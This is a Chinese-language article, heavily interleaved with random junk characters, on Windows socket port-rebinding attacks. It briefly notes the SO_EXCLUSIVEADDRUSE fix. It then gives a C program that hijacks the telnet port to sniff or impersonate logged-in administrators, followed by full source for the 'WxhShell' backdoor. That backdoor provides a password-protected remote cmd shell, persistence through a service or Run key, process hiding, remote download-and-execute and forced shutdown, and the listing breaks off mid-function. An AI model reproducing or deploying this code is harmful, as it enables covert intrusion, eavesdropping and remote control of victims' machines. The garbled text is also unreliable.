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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >69- [#P! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p "Cxe zcrM3`Zh saddr.sin_family = AF_INET; #JD:i% oj'a%mx saddr.sin_addr.s_addr = htonl(INADDR_ANY); =mQdM]A)2 )%6h9xyXt bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~#SLb=K 7/># yR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GX\6J]x=^2 8rEUZk 这意味着什么?意味着可以进行如下的攻击: Mcfqo0T- !C3ozZ< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oz[Mt
i* H-g
CY|W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |3SM "+{>"_KV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9ZVzIv( >bUxb-8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 l =X6m( z,+LPr 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6VQe?oh z:p;Wm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'lIj89h<E U1y8Y/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T4fVZd)x v\}s(X(J #include >oHgs #include Q?xCb #include q,%lG$0v #include g-8D1.U DWORD WINAPI ClientThread(LPVOID lpParam); $uj3W<iw3E int main() >&Ios<67g { OC5\3H WORD wVersionRequested; nb|KIW DWORD ret; ,CED% WSADATA wsaData; p2I9t| BOOL val; P~^VLnw SOCKADDR_IN saddr; Iss)7I SOCKADDR_IN scaddr; ON-zhT?v int err; 41XS/# M$* SOCKET s; 9,J^tN@^ SOCKET sc; - xE%`X int caddsize; 7mBH#Q) HANDLE mt; g=)OcTd# DWORD tid; ZT
d)4f wVersionRequested = MAKEWORD( 2, 2 ); b uOpHQn err = WSAStartup( wVersionRequested, &wsaData ); bZ-_Q if ( err != 0 ) { gCjW !t printf("error!WSAStartup failed!\n"); /<e<-C*d&< return -1; tE(_Cg } sgfci{~ saddr.sin_family = AF_INET; 9h/JW_ }|9!|Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?qJt4Om LLD#)Jl{? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7)zF8V saddr.sin_port = htons(23); xN +Oca if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3[r9v!l { Ej#pM. printf("error!socket failed!\n"); |?\J,h return -1; 'i;/?'!W6 } rUxjm\ val = TRUE; 3k_bhK zI //SO_REUSEADDR选项就是可以实现端口重绑定的 s,|"s|P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Tg yY 9 { KSgYf; printf("error!setsockopt failed!\n"); (`)ZR%i return -1; S-2@:E } vhE^jS<Tg //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M$$Lsb [ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (CR]96n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kD\7wz,ui yLgv<%8f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oU)Hco "_k { 5i1E
5@~ ret=GetLastError(); (,XbxDfM printf("error!bind failed!\n"); VBq|j"o0" return -1; g5@P } ={G0p=~+,p listen(s,2); C;\R
62' while(1) 66C_XT { 1a]QNl_x caddsize = sizeof(scaddr); UNF@%O4_T //接受连接请求 DcRvZH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E5QQI9ea if(sc!=INVALID_SOCKET) k;(r:k^ { R|'ftFebB. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &\m=|S if(mt==NULL) ,p)Qu%' { 12o6KVV^x printf("Thread Creat Failed!\n"); ?8-ho0f0 break; (b#4Z } ?8!\V NC. } &[W53Lqa CloseHandle(mt); w<SFs#Z } JuD&121N* closesocket(s); :v B9z WSACleanup(); |7)oX return 0; ;km ^ OO$ } q(\kCUy! DWORD WINAPI ClientThread(LPVOID lpParam) mkuK$Mj { N!%[.3o\K SOCKET ss = (SOCKET)lpParam; n`.JI(| SOCKET sc; e5$S2o~JF unsigned char buf[4096]; C0gO^A.d SOCKADDR_IN saddr; SQ
la]% long num; XP^[,)E DWORD val; ,!vI@>nhG DWORD ret; ddzMwucjp //如果是隐藏端口应用的话,可以在此处加一些判断 `DS7J\c$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %X**( saddr.sin_family = AF_INET; FjV)QP H saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V/Q/Ujgg saddr.sin_port = htons(23); ((AIrE>Rr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BF/l#)$yK { =:*2t printf("error!socket failed!\n"); _V,bvHWlM return -1; \\P*w$c } cq"#[y$r val = 100; ~s2la~gu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &cZl2ynPi { S1a6uE ret = GetLastError(); SsCV}[ return -1; ?+G
/5,e } i9eE/
. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c>%%'c { ^i!I0Q2yd ret = GetLastError(); vw6DHN)k return -1; \rM5@
Vf } ows3% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +}x\|O { O39f printf("error!socket connect failed!\n"); cvVv-L<[S` closesocket(sc); wY=k$ closesocket(ss); r!;wKO return -1; vLIaTr gz } 9>r@wK'Pn while(1) SNc $! { |+Cd2[hN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )1gOO{T]h? //如果是嗅探内容的话,可以再此处进行内容分析和记录 0y`r.)G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9@>Q7AUCQ num = recv(ss,buf,4096,0); nLY(%):(P if(num>0) & ^;3S*p send(sc,buf,num,0); o[%\W else if(num==0) ."Q}2 break; 6,~]2H'zq num = recv(sc,buf,4096,0); y' RQ_Gi if(num>0) >';UF;\5]Q send(ss,buf,num,0); 9`tSg!YOh else if(num==0) |#ZMZmo{ break; 'x<o{Hi"\B } (W
|;gQ closesocket(ss); b6! 7j closesocket(sc); ^{a_:r" return 0 ; zs.@=Z" } H;MyT Vl `r]C%Y4? =Q #d0Q ========================================================== 2H/{OQ$ mo"1|Q& 下边附上一个代码,,WXhSHELL y\_k8RqE^ #ri;{d^6 ========================================================== m4?a'z" et=i@PB) #include "stdafx.h" l4ru0V8s7 3fxcH #include <stdio.h> I ZBY*kr #include <string.h> Y+{jG(rg.F #include <windows.h> NUFW
SL> #include <winsock2.h> `_SV1|=="8 #include <winsvc.h> Z8`Y}#Za [ #include <urlmon.h> uM,R +)3 -z">ov-) #pragma comment (lib, "Ws2_32.lib") V1yP{XT= #pragma comment (lib, "urlmon.lib") $|t={s34 hC?rHw
H> #define MAX_USER 100 // 最大客户端连接数 %Ix2NdC #define BUF_SOCK 200 // sock buffer p8j*m~4B #define KEY_BUFF 255 // 输入 buffer Muyi2F)j 7Q9| P?&:z #define REBOOT 0 // 重启 }$b!/<7FD #define SHUTDOWN 1 // 关机 S0`u!l89( VIg6' #define DEF_PORT 5000 // 监听端口 L*cP8v4 U |Uc|6 #define REG_LEN 16 // 注册表键长度 XTRF IY #define SVC_LEN 80 // NT服务名长度 ]CDUHz uH)?`I\zrd // 从dll定义API .'NTy
R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +F*h\4ry# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q6}KOO) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " c+$GS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }#S1!TU " s}Oeu[ // wxhshell配置信息 gYBMi)`RT struct WSCFG { v.hQ9#: int ws_port; // 监听端口 $HCgawQ char ws_passstr[REG_LEN]; // 口令 *U-:2uf int ws_autoins; // 安装标记, 1=yes 0=no T+oOlug char ws_regname[REG_LEN]; // 注册表键名 B!U;a=ia char ws_svcname[REG_LEN]; // 服务名 5A+@xhRf char ws_svcdisp[SVC_LEN]; // 服务显示名 *T~b
ox char ws_svcdesc[SVC_LEN]; // 服务描述信息 1024L; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e*Y<m\* int ws_downexe; // 下载执行标记, 1=yes 0=no ^!z(IE' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" MT6"b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Jt36|O Z!3R }; 8nwps(3 r7FJqd // default Wxhshell configuration TfHL'u9B struct WSCFG wscfg={DEF_PORT, 4s@Tn>%SP "xuhuanlingzhe", 'Fql;&U
> 1, Q%524%f$ "Wxhshell", q]U!n "Wxhshell", ]D4lZK>H "WxhShell Service", @^/aS;B$> "Wrsky Windows CmdShell Service", ^7yaMB! "Please Input Your Password: ", hkdF 1, FY`t7_Y?GV " http://www.wrsky.com/wxhshell.exe", O[\mPFu5 "Wxhshell.exe" #8~ygEa} };
: 76zRF USaa#s4' // 消息定义模块 ) O&zb_{n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q[9N4nj$< char *msg_ws_prompt="\n\r? for help\n\r#>"; r&IDTS# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; DP;:%L} char *msg_ws_ext="\n\rExit."; f8ZuG !U char *msg_ws_end="\n\rQuit."; U8-OQ:2. char *msg_ws_boot="\n\rReboot..."; HD& Cp char *msg_ws_poff="\n\rShutdown..."; T2_iH=u char *msg_ws_down="\n\rSave to "; ?#Y:2LqP C Xppv char *msg_ws_err="\n\rErr!"; Uf
MQ?(, char *msg_ws_ok="\n\rOK!"; qoZ)"M ,.h@tN<C char ExeFile[MAX_PATH]; EwmNgmYq int nUser = 0; I9m9`4BK HANDLE handles[MAX_USER]; }9glr]= int OsIsNt; jGT|Xo>t hA;Ai:8 SERVICE_STATUS serviceStatus; c,O;B_}M] SERVICE_STATUS_HANDLE hServiceStatusHandle; sVGQSJJ5 yFS{8yrRUU // 函数声明 RR'sW@ int Install(void); #c":y5: int Uninstall(void); v+}${h9 int DownloadFile(char *sURL, SOCKET wsh); :LlZ#V2 int Boot(int flag); A}}dc:$C void HideProc(void); IZ\fvYp int GetOsVer(void); *}T|T%L4) int Wxhshell(SOCKET wsl); 5SZa,+] void TalkWithClient(void *cs); f( Dtv int CmdShell(SOCKET sock); &n#yxv4 int StartFromService(void); oz]&=>$1I int StartWxhshell(LPSTR lpCmdLine); aGfp"NtL e]CoYuPr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "R=~-, ~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); |,~
)/o_R z'Z[mrLq // 数据结构和表定义 :KR
KD SERVICE_TABLE_ENTRY DispatchTable[] = ?#fm-5WIi { I>##iiKN {wscfg.ws_svcname, NTServiceMain}, E m^Dg9 {NULL, NULL} hgzNEx%^q }; qozvNJm) y. 1F@w| // 自我安装 2i;ox*SfpU int Install(void) cD=IFOB*GD { NUJ $)qNA char svExeFile[MAX_PATH]; ly35n` HKEY key; aC%Q.+-t
strcpy(svExeFile,ExeFile); Jgg< u# l5~O}`gfh // 如果是win9x系统,修改注册表设为自启动 mlCg&fnDB if(!OsIsNt) { 1e7I2g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ekU%^R< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (9kR'kr RegCloseKey(key); WUo\jm[yr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Lk(G9CoY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ez.a RegCloseKey(key); ;<thEWH;Y return 0; W amOg0 } iK+Vla`} } Jp%5qBS^ } 8UXRM :Z" else { M_-L#FHX i pl,{ // 如果是NT以上系统,安装为系统服务 6y1\ar(A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yTh%[k if (schSCManager!=0) (x?Tjyzw { 9thG4T8 SC_HANDLE schService = CreateService psc
Fb$b ( PHEQG]H S schSCManager, kU=U u> wscfg.ws_svcname, m(}}%VeR"z wscfg.ws_svcdisp, 2 SERVICE_ALL_ACCESS, A<"<DDy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GBWL0'COV SERVICE_AUTO_START, UV0[S8A SERVICE_ERROR_NORMAL, ,|}mo+rb- svExeFile, V=% ;5/ NULL, 9jX_Eoxy NULL, >KvK'Mus/ NULL, ^Y+Lf]zz* NULL, GN9kCyPK NULL a@<-L ); %+Y wzL{ if (schService!=0) ?@;)2B|q { {j;` wN CloseServiceHandle(schService); ZTz07Jt CloseServiceHandle(schSCManager); ; :q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m4m|? strcat(svExeFile,wscfg.ws_svcname); a'/i/@h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u%+k\/Scp. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hjM?D`5x RegCloseKey(key); r
1jt~0&K return 0; A_9J~3 } ^3S&LC
1;| } V $w
lOMp CloseServiceHandle(schSCManager); =-X-${/ } 7gZ}Qy } Mqvo
j7 f7][#EL return 1; ,Kl?-W@ } X-kOp9/. +egwZ$5I // 自我卸载 n*A1x8tn int Uninstall(void) _oCNrjt9 { {\%I;2X HKEY key; XD|g G x: _[R{B if(!OsIsNt) { |*UB/8C^/! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u4w!SD RegDeleteValue(key,wscfg.ws_regname); z\A
),; RegCloseKey(key); S#v3%)R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YzQ1c~+ RegDeleteValue(key,wscfg.ws_regname); |\?u-O3 RegCloseKey(key); PnaiSt9p?r return 0; kaB4[u } |rwY
} rzn,NFI } \yFUQq: else { wW1\{<hgr 4C%pKV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Nqbp if (schSCManager!=0) {.jW"0U { )y;7\-K0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _/noWwVu if (schService!=0) O0xqA\ { $P?^GB>u if(DeleteService(schService)!=0) { 3]*1%=~X/ CloseServiceHandle(schService); $*iovam>^] CloseServiceHandle(schSCManager); ]VLseF return 0; ?_^{9q%9 } Q
N#bd~ CloseServiceHandle(schService); j]<K%lwp } B 5|\<CF CloseServiceHandle(schSCManager); }UB@FRPF } ;tZQ9#S } ^PezV5( 4fC:8\A return 1; ?SElJ?Z } `HkNO@N[ 3u$1W@T( // 从指定url下载文件 CssE8p>"F int DownloadFile(char *sURL, SOCKET wsh) [i ~qVn2vT { ?zm]KxIC HRESULT hr; lYJSg70P char seps[]= "/"; =!^
gQ0~4 char *token; QO(F%&v++ char *file; !p/?IW+ char myURL[MAX_PATH]; ?`rAO#1 char myFILE[MAX_PATH]; |oXd4 ZDbe]9#Xh strcpy(myURL,sURL); Q]/%Y[%| token=strtok(myURL,seps); n*=#jL while(token!=NULL) p\ ;|Z+0= { M\5| file=token; qE8aX*A1/ token=strtok(NULL,seps); #xw*;hW< } U>f'j;5 ($[+dR GetCurrentDirectory(MAX_PATH,myFILE); @:9Gs!! strcat(myFILE, "\\"); Gb\PubJ strcat(myFILE, file); diY7<u# send(wsh,myFILE,strlen(myFILE),0); ~;#}aQYo send(wsh,"...",3,0); mA+:)?e5~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ()l3X.t,$ if(hr==S_OK) ~BmA!BZV` return 0; pOo016afmA else q -8G return 1; *??lwvJp C\GP}:[T3 } |50sGJE( wqF?o // 系统电源模块 jTcv&`fAz int Boot(int flag) ZDW=>}~_y { ;x/eb g
HANDLE hToken; ?e<2'\5v TOKEN_PRIVILEGES tkp; }ARA K ^% >9dD7FH if(OsIsNt) { !
I0xq" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7}UG&t{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6_bL<:xtY tkp.PrivilegeCount = 1; =zcvR {Dkp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aY>v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R;c9)>8L if(flag==REBOOT) { kygw}|, N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g=56|G7n return 0; i#`q<+/q } \H@1VgmR; else { c_D(%Vf5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _b~{/[s return 0; aLGq<6Ja } hDW!pnj1 } |j`73@6 else { c
Rq2 re if(flag==REBOOT) { VIP7j(#t_g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =\WF +r]V return 0; r@{TN6U } !ka* rd else { !B}9gT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7t:RQ`$: return 0; Ww2@!ng } _xp8*2~- } Mz(Vf1pi% 0B]q /G( return 1; +y?Ilkk;j } Z,.Hz\y1D WR"D7{>tw // win9x进程隐藏模块 YOD.y!.zq7 void HideProc(void) TQF+aP8[L { GBbnR:hM qJrT HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x?+w8jSR if ( hKernel != NULL ) :x*)o+ { T`ibulp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "0P`=n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 20|`jxp FreeLibrary(hKernel); \xkKgI/ } -Lh7!d 3N2dV6u return; :hX[8u } `GCoi ?n7 "tzu.V- // 获取操作系统版本 9Rnypzds int GetOsVer(void) }aVZ\PDg { E+]9!fDy< OSVERSIONINFO winfo; kt/,& oKI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s{Z)<n03 GetVersionEx(&winfo); MY^{[#Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :CyHo6o9 return 1; J,2V&WuV0r else D0r viO return 0; 147QB+cE } R-13DVK f<Hi=Qpm // 客户端句柄模块 lir=0oq< int Wxhshell(SOCKET wsl) T }}2J/sj { F)LbH&Kn SOCKET wsh; 5`QcPDp{z struct sockaddr_in client; t;e&[eg DWORD myID; M6)
G_- faDSyBLo while(nUser<MAX_USER) L(Y1ey9x { ai{>rO3 }I int nSize=sizeof(client); l#'V
SFm& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 08`|C)Z! if(wsh==INVALID_SOCKET) return 1; #Vq9 =Q2 :aesG7=O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E#B-JLMGl if(handles[nUser]==0) ?l0eU@rwQ closesocket(wsh); E7:xPNU else =:-fK-d nUser++; @Jzk2,rI } K3yQ0k
| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !GqFX+!Ju ,@`?I6nKy return 0; HEF
e? } g'(bk@<BP fE-R(9K // 关闭 socket k6(7G@@} void CloseIt(SOCKET wsh) ?Y( { g^'h4qOa closesocket(wsh); ,&P
4%N" nUser--; VfX^iG r ExitThread(0); r
)F;8( } h.jJAVPi }aZuCe_ // 客户端请求句柄 k?+ 7%A] void TalkWithClient(void *cs) l|P"^;*zq { Yj/afn(Jt 'NEl`v*<P SOCKET wsh=(SOCKET)cs; u^"
I3u8$ char pwd[SVC_LEN]; i5VZ,E^E char cmd[KEY_BUFF]; )6OD@<r{ char chr[1]; ?[ xgt) int i,j; Hr|f(9xA <^5!]8*O while (nUser < MAX_USER) { 2{-29bq &9L4
t%As if(wscfg.ws_passstr) { /( Wq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zBF~:Uc`B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u_(~zs.N] //ZeroMemory(pwd,KEY_BUFF); ;tjOEmIiU i=0;
"o5]:]h) while(i<SVC_LEN) { 36"n7 cb}"giXQTB // 设置超时 (Xd8'-G$m fd_set FdRead; ujU,O%.n struct timeval TimeOut; Fc~G*Gz~Z| FD_ZERO(&FdRead); _f1o!4ocx FD_SET(wsh,&FdRead); Ar`+x5
TimeOut.tv_sec=8; cHjQwl TimeOut.tv_usec=0; )PX VR
T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -'! J?~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 77P\:xc <J/ =$u/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ma.84~m pwd =chr[0]; i?x gV_q; if(chr[0]==0xd || chr[0]==0xa) { mMAN*}`O pwd=0; ?Nos;_/ break; 8Zr;n`~ } ul~ux$a i++; x/*lNG/ } to={q
CqU 82r8K|L.<y // 如果是非法用户,关闭 socket -$Oh.B`i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3_(_yEKx } .WSyL 1Cr&6 't send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
,"v&r( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cU1o$NRx LP2~UVq while(1) { [h/T IGE\ \TQZZ_Z ZeroMemory(cmd,KEY_BUFF); @- U\!Tf _D '(R // 自动支持客户端 telnet标准 [&)]-2w2 j=0; 5\ mRH while(j<KEY_BUFF) { uYh!04u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 02;jeZ#z cmd[j]=chr[0]; /0s1;? if(chr[0]==0xa || chr[0]==0xd) { a=z] tTs4 cmd[j]=0; M(%H break; e &6 %
} TZn
15-O j++; %w`d }
;tOsA # ^_2c\mw_I // 下载文件 CMt<oT6.? if(strstr(cmd,"http://")) { $O"ss>8Se send(wsh,msg_ws_down,strlen(msg_ws_down),0); /9`4f " if(DownloadFile(cmd,wsh)) u47<J?!Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); HIg2y else '7iz5wC# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kSAVFzUS } BoD{fg else { 2HX/@ERhmu -l^<[% switch(cmd[0]) { j*{0<hZb} !~ox;I}S // 帮助 >3 o4 U2 case '?': { 6(n0{A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cgnNO& break; {}O~tf_ } R9J!}az' // 安装 ZpTDM1ro case 'i': { o! a,r3 if(Install()) ':*H#}Br-# send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8]EIXbMX else gabfb# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8z=#
0+0 break; 77>oQ~q } Y;i=c6 // 卸载 c*bvZC^6 case 'r': { I2[U #4n if(Uninstall()) (s};MdXIz send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55S s%$k@ else `TrWtSwv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9LR=>@Z break; C6!F6Stn]g } 9`in
r.: // 显示 wxhshell 所在路径 .#[ 9q- case 'p': { N} EKV char svExeFile[MAX_PATH]; 0TU3
_;o strcpy(svExeFile,"\n\r"); _CwTe=K} strcat(svExeFile,ExeFile); at uqo3 send(wsh,svExeFile,strlen(svExeFile),0); 4~fYG| a break; NL21se } %M6OLq!K // 重启 4G&`&fff] case 'b': { \Kl20? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S?~0)EXj( if(Boot(REBOOT)) gx&es\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); y|`-)fY else { JEjxY& closesocket(wsh); 9+ 'i(q
z ExitThread(0); rXx#<7` } ,\4]uZ< break; c_8&4 } <WXVUEea // 关机 x,B] J4 case 'd': { 'uL4ezTtA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (x=$b(I if(Boot(SHUTDOWN)) YWZ;@,W send(wsh,msg_ws_err,strlen(msg_ws_err),0); @G5T8qwN else { VjQ&A#
closesocket(wsh); H 0l1=y ExitThread(0); HNzxFnh } ?f?5Kye break; C'6I< YX } '$ei3 // 获取shell qBEp |V case 's': { Tzq@ic#!B CmdShell(wsh); +nYFLe closesocket(wsh); d$!Q6ux; ExitThread(0); g=Xf&}&=x break; ~\":o:qyc } {>>X3I // 退出 3?Pg
;
case 'x': { mjeJoMvN)H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b3A0o* CloseIt(wsh); mU5Ox4>&9 break; t. P@Ba^ } "\4W])30 // 离开 =2\2Sp case 'q': { +O}Ik.w send(wsh,msg_ws_end,strlen(msg_ws_end),0); F!+1w(b: closesocket(wsh); n!)$e;l WSACleanup(); QLqtE;;)JK exit(1); ?=1eHnP!R break; qb>ULP0 } r:*G{m- } ON2o^-%= } H|%J" {npm9w<; // 提示信息 l=DF)#>w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AtQ.H-8r } $*q|}Tvl# } :ld~9 { 'b;lA]0 return; 5m8u :6kQu } )/RG-L 4'QX1p // shell模块句柄 uw;Sfx,s int CmdShell(SOCKET sock) VF`!ks { fyQOF ItM STARTUPINFO si; (b25g! ZeroMemory(&si,sizeof(si)); sN41Bz$q. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y4-kuMYR si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B;k'J:-" PROCESS_INFORMATION ProcessInfo; Q'OtXs 80 char cmdline[]="cmd";
EBy7wU`S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~I||"$R return 0; @KQ>DBWQM } EI_-5Tt RD 1 Pk+zBJ$ // 自身启动模式 ~P3b5 - int StartFromService(void) BH:A]#_{ { (`(D
$% typedef struct J[ZHAnmPH { :nx+(xgw DWORD ExitStatus; L
FWp}#% DWORD PebBaseAddress; Kg%9&l DWORD AffinityMask; X1#Ar) DWORD BasePriority; s~M$Wo8 ULONG UniqueProcessId; 8~Cmn% ULONG InheritedFromUniqueProcessId; ~?\U];l } PROCESS_BASIC_INFORMATION; q?!HzZ uu6 JZp PROCNTQSIP NtQueryInformationProcess; |
